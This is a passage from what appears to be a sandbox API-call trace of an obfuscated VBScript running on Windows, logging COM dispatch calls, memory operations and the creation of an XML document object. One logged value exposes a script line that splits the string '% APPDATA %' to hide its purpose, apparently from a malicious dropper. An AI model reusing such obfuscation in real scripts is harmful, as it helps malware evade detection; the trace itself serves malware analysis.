[1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.618] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="AllFata = shellobj.expandEnvironmentStrings(\" % APPD\" + \"ATA %\\\")", varVal2=0x0), pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.618] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.618] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0087.618] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.619] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.619] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.619] GetCurrentThreadId () returned 0xd44 [0087.619] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.619] ??2@YAPAXI@Z () returned 0x86bff10 [0087.619] malloc (_Size=0x804) returned 0x83fc220 [0087.619] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.619] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0087.619] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0087.620] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.620] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.620] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.620] GetCurrentThreadId () returned 0xd44 [0087.620] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.621] ??2@YAPAXI@Z () returned 0x86bff10 [0087.621] malloc (_Size=0x804) returned 0x83fc220 [0087.621] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.621] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.621] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.621] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Close", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=11) returned 0x0 [0087.621] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.621] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.621] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.622] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.622] free (_Block=0x1197880) [0087.622] free (_Block=0x86ea2e0) [0087.622] free (_Block=0x83d6fd0) [0087.622] free (_Block=0x83d9f10) [0087.622] ??3@YAXPAX@Z () returned 0xc80001 [0087.623] free (_Block=0x1197838) [0087.623] free (_Block=0x11c29f0) [0087.623] free (_Block=0x847b3d8) [0087.623] free (_Block=0x83d9df8) [0087.623] ??3@YAXPAX@Z () returned 0xb60001 [0087.624] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.625] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0087.625] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0087.625] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0087.625] GetCurrentThreadId () returned 0xd44 [0087.625] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.625] ??2@YAPAXI@Z () returned 0x11c2208 [0087.626] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0087.626] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="cvbnm", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0087.626] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="cvbnm", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0087.626] GetCurrentThreadId () returned 0xd44 [0087.626] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.626] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0087.626] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="soswjwslvc", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0087.626] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="soswjwslvc", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0087.626] GetCurrentThreadId () returned 0xd44 [0087.626] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.626] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0087.627] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0087.627] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0087.627] GetCurrentThreadId () returned 0xd44 [0087.627] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.627] malloc (_Size=0x204) returned 0x847b3d8 [0087.627] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0087.627] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0087.627] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vposaleusaogr", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0087.627] GetCurrentThreadId () returned 0xd44 [0087.627] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.629] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.629] malloc (_Size=0x804) returned 0x83fc220 [0087.629] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0087.629] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x154798 | out: lpclsid=0x154798*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0087.629] SysStringLen (param_1=0x0) returned 0x0 [0087.629] CoGetClassObject (in: rclsid=0x154798*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154788 | out: ppv=0x154788*=0x72b7d4b8) returned 0x0 [0087.630] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154784 | out: ppvObject=0x154784*=0x0) returned 0x80004002 [0087.630] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15478c | out: ppvObject=0x15478c*=0x5551e8) returned 0x0 [0087.630] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0087.630] DOMDocument:IUnknown:QueryInterface (in: This=0x5551e8, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154750 | out: ppvObject=0x154750*=0x555214) returned 0x0 [0087.630] ??2@YAPAXI@Z () returned 0x1112950 [0087.630] DOMDocument:IObjectWithSite:SetSite (This=0x555214, pUnkSite=0x1112950) returned 0x0 [0087.630] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154604 | out: ppvObject=0x154604*=0x0) returned 0x80004002 [0087.630] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1545f4 | out: ppvObject=0x1545f4*=0x0) returned 0x80004002 [0087.630] DOMDocument:IUnknown:AddRef (This=0x1112950) returned 0x2 [0087.630] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1546b4 | out: ppvObject=0x1546b4*=0x1112950) returned 0x0 [0087.631] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153614 | out: ppvObject=0x153614*=0x1112950) returned 0x0 [0087.631] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535e8 | out: ppvObject=0x1535e8*=0x0) returned 0x80004002 [0087.631] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15357c | out: ppvObject=0x15357c*=0x83fd368) returned 0x0 [0087.631] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153578 | out: ppvObject=0x153578*=0x83fd378) returned 0x0 [0087.631] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535e8 | out: ppvObject=0x1535e8*=0x0) returned 0x80004002 [0087.631] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.631] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.631] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1535f0 | out: ppvObject=0x1535f0*=0x0) returned 0x80004002 [0087.631] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15357c | out: ppvObject=0x15357c*=0x83fd368) returned 0x0 [0087.631] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153578 | out: ppvObject=0x153578*=0x83fd378) returned 0x0 [0087.631] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1535f0 | out: ppvObject=0x1535f0*=0x0) returned 0x80004002 [0087.631] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.631] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.631] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0087.631] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15357c | out: ppvObject=0x15357c*=0x83fd368) returned 0x0 [0087.631] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153578 | out: ppvObject=0x153578*=0x83fd378) returned 0x0 [0087.632] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0087.632] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.632] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.632] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0087.632] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15357c | out: ppvObject=0x15357c*=0x83fd368) returned 0x0 [0087.632] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153578 | out: ppvObject=0x153578*=0x83fd378) returned 0x0 [0087.632] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0087.632] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.632] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.632] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x3 [0087.632] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15361c | out: ppvObject=0x15361c*=0x0) returned 0x80004002 [0087.632] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153604 | out: ppvObject=0x153604*=0x0) returned 0x80004002 [0087.632] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153620 | out: ppvObject=0x153620*=0x1112950) returned 0x0 [0087.632] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15360c | out: ppvObject=0x15360c*=0x0) returned 0x80004002 [0087.632] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535d4 | out: ppvObject=0x1535d4*=0x83fd368) returned 0x0 [0087.632] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1535d0 | out: ppvObject=0x1535d0*=0x83fd378) returned 0x0 [0087.632] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15360c | out: ppvObject=0x15360c*=0x0) returned 0x80004002 [0087.632] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.633] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.633] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15361c | out: ppvObject=0x15361c*=0x0) returned 0x80004002 [0087.633] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535d4 | out: ppvObject=0x1535d4*=0x83fd368) returned 0x0 [0087.633] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1535d0 | out: ppvObject=0x1535d0*=0x83fd378) returned 0x0 [0087.633] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15361c | out: ppvObject=0x15361c*=0x0) returned 0x80004002 [0087.633] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.633] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.633] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, 